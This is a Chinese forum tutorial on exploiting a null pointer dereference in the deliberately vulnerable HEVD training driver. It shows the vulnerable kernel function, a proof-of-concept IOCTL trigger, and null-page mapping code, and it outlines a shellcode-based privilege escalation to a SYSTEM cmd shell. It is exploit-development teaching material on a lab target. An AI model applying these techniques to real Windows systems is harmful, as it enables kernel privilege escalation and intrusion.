HEVD 内核漏洞之空指针解引用

本文为看雪论坛优秀文章

看雪论坛作者ID:Saturn35

0x0 前言

上一篇我们学习了任意内存覆盖漏洞 https://bbs.pediy.com/thread-253848.htm) ,这一节开始学习空指针解引用 (NullPointerDereference)。

前几天看的19-1132中也涉及到了这一漏洞,感兴趣的可以研究一哈。

tips:题外话,学海无涯呀,其实有时感觉是挺无聊的,继续坚持!

实验环境:Win10专业版+VMware Workstation 15 Pro+Win7 x86 sp1

实验工具:VS2015+Windbg+KmdManager+DbgViewer

0x01 漏洞原理

打开驱动程序代码NullPointerDereference.c,看到漏洞函数代码如下:

NTSTATUS

TriggerNullPointerDereference(

_In_ PVOID UserBuffer

)

{

ULONG UserValue = 0;

ULONG MagicValue = 0xBAD0B0B0;

NTSTATUS Status = STATUS_SUCCESS;

PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;

PAGED_CODE();

__try

{

// Verify if the buffer resides in user mode

ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(UCHAR));

// Allocate Pool chunk

NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(

NonPagedPool,

sizeof(NULL_POINTER_DEREFERENCE),

(ULONG)POOL_TAG

);

if (!NullPointerDereference)

{

// Unable to allocate Pool chunk

DbgPrint("[-] Unable to allocate Pool chunk\n");

Status = STATUS_NO_MEMORY;

return Status;

}

else

{

DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));

DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));

DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));

DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);

}

// Get the value from user mode

UserValue = *(PULONG)UserBuffer;

DbgPrint("[+] UserValue: 0x%p\n", UserValue);

DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);

// Validate the magic value

if (UserValue == MagicValue)

{

NullPointerDereference->Value = UserValue;

NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;

DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);

DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);

}

else

{

DbgPrint("[+] Freeing NullPointerDereference Object\n");

DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));

DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);

// Free the allocated Pool chunk

ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);

// Set to NULL to avoid dangling pointer

NullPointerDereference = NULL;

}

#ifdef SECURE

// Secure Note: This is secure because the developer is checking if

// 'NullPointerDereference' is not NULL before calling the callback function

if (NullPointerDereference)

{

NullPointerDereference->Callback();

}

#else

DbgPrint("[+] Triggering Null Pointer Dereference\n");

// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability

// because the developer is not validating if 'NullPointerDereference' is NULL

// before calling the callback function

NullPointerDereference->Callback();

#endif

}

__except (EXCEPTION_EXECUTE_HANDLER)

{

Status = GetExceptionCode();

DbgPrint("[-] Exception Code: 0x%X\n", Status);

}

return Status;

}


代码中,有一处关于MagicValue的检查,通过则向缓冲区赋值,并打印;反之则释放缓冲区,清空指针。

再往后,存在漏洞的版本中,未对 NullPointerDereference 进行检查判断其是否提前被置空,直接调用其内部的回调。

IDA中查看该函数:

如果我们调用了TriggerNullPointerDereference函数并传入该魔数,理论上会执行到该函数且不会触发空指针引用。使用下面的POC来进行测试。

利用之前的方法,我们得到IO控制码0x22202b。

#include<stdio.h>

#include<Windows.h>

int main()

{

HANDLE hDevice = NULL;

hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",

GENERIC_READ | GENERIC_WRITE,

NULL,

NULL,

OPEN_EXISTING,

NULL,

NULL);

if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)

{

return -1;

}

printf("[+]Success to get HANDLE!\n");

DWORD bReturn = 0;

char buf[4] = { 0 };

*(PDWORD32)(buf) = 0xBAD0B0B0;

DeviceIoControl(hDevice, 0x22202b, buf, 4, NULL, 0, &bReturn, NULL);

return 0;

}

验证了代码逻辑是正确的。

当我们传入值与MagicValue值不匹配时,则会触发漏洞。

例如我们传入0xdeadb33f,为了防止BSOD我们看不到数据,加上一个断点。

*(PDWORD32)(buf) = 0xdeadb33f;

DeviceIoControl(hDevice, 0x22202b, buf, 4, NULL, 0, &bReturn, NULL);

_asm{

int 3

}

0x02 漏洞利用

这里需要注意的是,如何在0页分配一个双字的空间。在 rohitab 的论坛中,提到了NtAllocateVirtualMemory可以在0页分配内存。

Windows允许低权限用户去映射用户进程的上下文到0页(null page)。尽管VirtualAlloc和VirtualAllocEx在分配的基地址低于0x00001000时都以拒绝访问而告终。

然而,利用NtAllocateVirtualMemory函数则没有这样的限制。

Common.c https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/Common.c) 代码中,我们看到MapNullPage函数也是这样的思路:

hNtdll = GetModuleHandle("ntdll.dll");

// Grab the address of NtAllocateVirtualMemory

NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

if (!NtAllocateVirtualMemory) {

DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());

exit(EXIT_FAILURE);

}

// Allocate the Virtual memory

NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,

&BaseAddress,

0,

&RegionSize,

MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,

PAGE_EXECUTE_READWRITE);

申请成功后,将shellcode地址放入偏移四字节处,因为CallBack成员在结构体的0x4字节处。

typedef struct _NULL_POINTER_DEREFERENCE

{

ULONG Value;

FunctionPointer Callback;

} NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;

那么整理一下思路:

  • 将shellcode放入内存任意位置

  • 申请0页内存并在0x4地址放入shellcode地址

  • 调用TriggerNullPointerDereference函数

  • 提权启动cmd

最后利用代码参考 这里 (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/NullPointerDereference.c)

提权成功:

0x04 链接

Rootkit: https://rootkits.xyz/blog/2018/01/kernel-null-pointer-dereference/

fuzzsecurity http://fuzzysecurity.com/tutorials/expDev/16.html

玉涵师傅翻译版 https://bbs.pediy.com/thread-225178.htm

TJ学习版: https://bbs.pediy.com/thread-252776.htm

看雪ID: Saturn35

https://bbs.pediy.com/user-831334.htm  

*本文由看雪论坛 Saturn35 原创,转载请注明来自看雪社区。

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章